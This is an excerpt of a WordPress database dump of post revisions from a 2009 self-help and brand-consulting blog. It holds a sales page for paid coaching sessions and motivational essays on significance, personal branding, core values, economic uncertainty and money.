(415, 2, '2009-07-08 10:06:07', '2009-07-08 17:06:07', '<h2><span style="color: #ff6600;">What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 10:06:07', '2009-07-08 17:06:07', '', 200, 'http://www.whitehotcenter.com/200-revision-12/', 0, 'revision', '', 0),
(416, 2, '2009-07-08 10:39:50', '2009-07-08 17:39:50', '', 'wh.powerart', 0, '', 'inherit', 'open', 'open', '', 'wh-powerart-2', '', '', '2009-07-08 10:39:50', '2009-07-08 17:39:50', '', 200, 'http://www.whitehotcenter.com/wp-content/uploads/2009/06/wh.powerart1.gif', 0, 'attachment', 'image/gif', 0),
(417, 2, '2009-07-08 10:31:38', '2009-07-08 17:31:38', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart.gif"><img class="alignnone size-full wp-image-414" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart.gif" alt="wh.powerart" width="450" height="190" /></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 10:31:38', '2009-07-08 17:31:38', '', 200, 'http://www.whitehotcenter.com/200-revision-13/', 0, 'revision', '', 0),
(419, 1, '2009-07-06 15:24:05', '2009-07-06 22:24:05', '<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with healthy mind starts out by consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it make you happy?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience sustained happiness, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows on you for lighting the way for yourself and others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-12', '', '', '2009-07-06 15:24:05', '2009-07-06 22:24:05', '', 8, 'http://www.whitehotcenter.com/8-revision-12/', 0, 'revision', '', 0);
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(418, 2, '2009-07-08 10:40:04', '2009-07-08 17:40:04', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a>What fires you up? What really matters to you? What do you want out of your business? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. After our session, I''ll send you back an MP3 file of our recorded Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD\r\nExtended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. My experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: <a class="aligncenter" href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nI will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n<h2><span style="color: #ff6600;">It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mail://thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session.</span></strong></span>\r\n</span></h2>', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-08 10:40:04', '2009-07-08 17:40:04', '', 200, 'http://www.whitehotcenter.com/200-revision-14/', 0, 'revision', '', 0),
(420, 1, '2009-06-24 12:56:33', '2009-06-24 19:56:33', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\r\n<h2><span style="color: #ff6600;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet.\r\nThat gave me an idea…</span></h2>\r\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\r\n\r\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\r\n\r\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'inherit', 'open', 'open', '', '13-revision-5', '', '', '2009-06-24 12:56:33', '2009-06-24 19:56:33', '', 13, 'http://www.whitehotcenter.com/13-revision-5/', 0, 'revision', '', 0),
(421, 1, '2009-06-24 18:08:08', '2009-06-25 01:08:08', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="320" height="204" /></a>\r\n<h2><span style="color: #ff6600;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</span></h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-4', '', '', '2009-06-24 18:08:08', '2009-06-25 01:08:08', '', 14, 'http://www.whitehotcenter.com/14-revision-4/', 0, 'revision', '', 0),
(423, 1, '2009-04-04 17:19:13', '2009-04-05 00:19:13', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\r\n\r\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">Michael Bungay Stanier, CEO of Box of Crayons</a>\r\n\r\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not.\r\n\r\ncheck it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\r\n</a>\r\n\r\nThe illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... It is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\r\n', 'inherit', 'open', 'open', '', '18-revision-2', '', '', '2009-04-04 17:19:13', '2009-04-05 00:19:13', '', 18, 'http://www.whitehotcenter.com/18-revision-2/', 0, 'revision', '', 0),
(424, 1, '2009-06-15 15:51:44', '2009-06-15 22:51:44', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\r\n<h2>In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals. Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.\r\n\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'inherit', 'open', 'open', '', '19-revision-3', '', '', '2009-06-15 15:51:44', '2009-06-15 22:51:44', '', 19, 'http://www.whitehotcenter.com/19-revision-3/', 0, 'revision', '', 0),
(425, 1, '2009-04-05 09:46:40', '2009-04-05 16:46:40', '<img class="alignnone size-full wp-image-124" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="390" height="267" />\r\n<h2>No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'inherit', 'open', 'open', '', '20-revision-3', '', '', '2009-04-05 09:46:40', '2009-04-05 16:46:40', '', 20, 'http://www.whitehotcenter.com/20-revision-3/', 0, 'revision', '', 0),
(426, 1, '2009-04-03 19:08:58', '2009-04-04 02:08:58', '<img style="margin: 0px 5px 5px 0px; float: left; width: 345px; height: 179px;" title="Money" src="http://whc.fbdev.org/whitehotcenter2/images/2008/08/29/money.jpg" border="0" alt="Money" />Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow into my scene has been restricted.  After many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n\r\nLet’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!\r\n\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.  It is important to love people, use money… and not get that in reverse.\r\n\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the world is full of self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.  Everybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.  Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?\r\n\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind. Your experience of poverty or abundance is a result of your thought.\r\n\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience 